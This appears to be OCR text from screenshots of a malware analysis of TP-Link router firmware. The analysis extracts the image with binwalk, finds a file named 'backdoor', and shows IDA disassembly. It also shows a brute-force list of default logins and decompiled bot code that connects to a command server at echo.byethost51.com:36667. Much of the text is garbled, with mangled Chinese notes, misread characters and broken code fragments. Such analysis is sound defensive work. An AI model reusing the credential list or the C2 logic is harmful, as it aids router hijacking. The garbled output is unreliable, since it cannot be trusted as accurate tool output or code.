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hewenbin@hewenbin-virtual-machine:~/@@HS$ binwalk -e 1.bin

DECIMAL HEXADECIMAL DESCRIPTION

TP-Link firmware header, firmware version: 1.-204
32.3, image version: "", product ID: 0x@, product version: 155254791, kernel lo
ad address: 0x0, kernel entry point: 0x80002000, kernel offset: 4063744, kernel
length: 512, rootfs offset: 772784, rootfs length: 1048576, bootloader offset:
2883584, bootloader length: @
69424 Ox10F30 Certificate in DER format (x509 v3), header lengt
h: 4, sequence length: 64
94080 Ox16F80 U-Boot version string, "U-Boot 1.1.4 (Aug 26 2813
- 89:07:51)"
94256 Ox17030 CRC32 polynomial table, big endian
131584 Ox20200 TP-Link firmware header, firmware version: 0.0.3,
image version: "", product ID: @x@, product version: 155254791, kernel load ad
dress: @x0, kernel entry point: 0x80002000, kernel offset: 3932160, kernel leng
th: 512, rootfs offset: 772784, rootfs length: 1048576, bootloader offset: 2883
584, bootloader length: @
132096 Ox20400 LZMA compressed data, properties: 0x5D, dictionar
y size: 33554432 bytes, uncompressed size: 2203728 bytes

WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le
-d 'squashfs-root' '%e'': [Errno 2] No such file or directory: 'sasquatch': 's
asquatch', 'sasquatch -p 1 -le -d 'squashfs-root' '%e'' might not be installed

correctly .
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squashfs- 20400 20400.7z 120200.
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.fsrc/squashfs-2.

.Jsrcfsquashfs-2.
./src/squashfs-3.
./srcfsquashfs-
./src/squashfs-3.

Cpn e
X file system...

1-r2/unsquashfs...

1-r2/unsquashfs-lzma...
©/unsquashfs...
3.0/unsquashfs-lzma. ..
0-1zma-
./srcfothers/squashfs-2.0-
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.2-
./srcfothers/squashfs-3.2-
./srcjothers/squashfs-3.2-
./srcfothers/squashfs-3.2-
./srcfothers/squashfs-3.2-
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.
./srcfothers/squashfs-3.

damn-small-variant/unsquashfs-lzma...
nb4/unsquashfs..

0-e2100/unsquashfs...

0-e2100/unsquashfs-1lzma. ..

rzfunsquashfs...
r2-l1zma/squashfs3.2-r2/squashfs-tools/unsquashfs
r2-hg612-1zma/unsquashfs...
r2-wnri@eo/unsquashfs...

r2-rtni2/unsquashfs...

3/unsquashfs...
3-1zma/squashfs3.3/squashfs-tools/unsquashfs...
3-grml-1zma/squashfs3.3/squashfs-tools/unsquashfs...
4-cisco/unsquashfs.

4-nb4/unsquashfs

4-nb4/unsquashfs-1zma.

./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 1 processor

Trying ./srcfothers/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 1 processor

Trying ./src/others/squashfs-4.0
480 inodes (523 blocks) to write

zma/unsquashfs-lzma Parallel unsquashfs: Using 1 processor

] 454/523 86%
341 files
39 directories
70 symlinks
created @ devices
created @ fifos
File system sucessfully extracted
MKF rc/others/squashfs-4.0-1zma/mksquashfs-1lzma"

created
created
created

»n
AR s H SR ST A -
h-.‘ h--‘ h-.‘ h--‘ h-.‘ h--‘ h-.‘ h--‘ h--‘ h--‘ h--‘ h-.‘ h--‘ ‘H‘
bin dev etc lib mnt proc root sbin tmp web linuxre
EOR M TIRE e P CAR R 55 4
R H SR I Hr T TRR e A FH ARz R e 55 i A g 1
N N
A} > .
tmp SO o AR Ja T TR
backdoor
ERCAF)E, JiGdtida
SE e By & V) o @ of o @ v X[ > O O|No debugger T R
; | L S
Library function Ml Regular function Ml Instruction | Data [ Unexplored  External symbol
[F] Functions window o & x DA Tiew-4 B @ Hex view-1 (Al structures Emms =] Inports = Exports
Function name Seg
f|start LO4D
f | sub_B544 LOAD
£ sub_B594 LOAD EXPORT start
F] sub_BSAC LOAD start
ADR R12, dword BA6C
LDMIA R12, {R1,R2,R10,R11,LR}
ADD R10, R10, R12
ADD R11, R11, R12
OV RO, R2
SuB R9, R12, R1
ADD R1, R1, #0x1000
MOV R3, #0x1000
STMFD SP!, {RO-R3,LR}
OV R2, #7
LDR R3, [R12,#(dword BA7C - @xBA6C)]
MoV RS, #0
MOV R4, #OxFFFFFFFF
ORR R3, R3, #0x10
MOV R7, #0xCO
svC ]
TN RO, #0x1000
BCS loc_B630
¥ L]
FEIE] FEs
; START OF FUNCTION CHUNK FOR start
loc_Bacg
LDMIA R9!, {R1-R8}||loc_B63@
cMP R9, R10 MoV R2, #Ox1E
< 2 STMTA R IR1-RLE lADR R1 aPratFyverProthie - PROT FXFCIPROT WRTTF fa ad
Line 1 of 4 100. 0% (=333, 24) (4, 489) 00003480 0000B480: start (Synchronized with Hex Viev-1)
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Address Length
[ Loap:ooo- ooouaoo?
[ LOAD: 000 00000008
[ LoaD:000- 00000006
[ LOAD: 000 00000005
5] 1000 0000000E
L000- DO000DUE
[’ LOAD: 000 00000005
[s] LoaD:000 000DOODDT
[ LoaD:ooo- ooDoOOOD
[ LOAD: 000 00000007
[ 104D 000 00000006
[ 104D 000 00DOO00B
[ LoaD 000 00000007
s L000- DO000DUE
2000+ D0OODINE
[s] LoaD:000 000DOODDT
[ LoaD:ooo- ooDo001Z
[ LOAD: 000 00000008
[ 104D 000 00000006
[ Lo&D: 000 00000005
5] 0000004
s D000000S
- 00000005
00000005
- 00000006
- 00000006
00000005
00000009
00000005
00000006
00000007
00000008
10000005
00000009
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Type String

nallec
raise

iectl

atol
wvaitpid
close

open

strchr
getsocknamne
sendto
viork

sleep
setsid
fentl
getdtablesize
stremp
__libc_start_main
write

ntohl

free

GLIEC,

root
adnin
user
login
suest
toor
changene
1234
12345
123456
default
pass

passyord
L0211

]
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while ( 1)
{

while ( initConnection() )

{

puts(“"Failed to connect...™)

sleep(5u);
¥

getBuild();
sockprintf(
= 0;
= 0;

mainCommSock;

, "BUILD %s",




po@l 1n1tConnection()
o
| char *v@; // r0

L char s; ff [sp+4h] [bp-208h]
| int v3; ff [sp+204h] [bp-8h]
]

memset(&s, @, 0x200u);
il if ( mainCommSock )
oo
) close(mainCommSock);
. mainCommSock = @;
)
if ( currentServer )

++currentServer;
else

currentServer = @;
strcpy(&s, (&commServer)[currentServer]);
v3 = 36667;
if ( strchr(&s, 58) )
{
. v@ = strchr(&s, 58);
' vi = atoi(ve + 1);
*strchr(&s, 58) = 0;

-

Hoy
il mainCommSock = socket(2, 1, @);
il return connectTimeout(mainCommSock, &s, v3, 30) == @;

sty 1B 36667
BATAT L1551 echo.byethost51.com:36667, 4R & 7EHEATmd5 N Bl wf .
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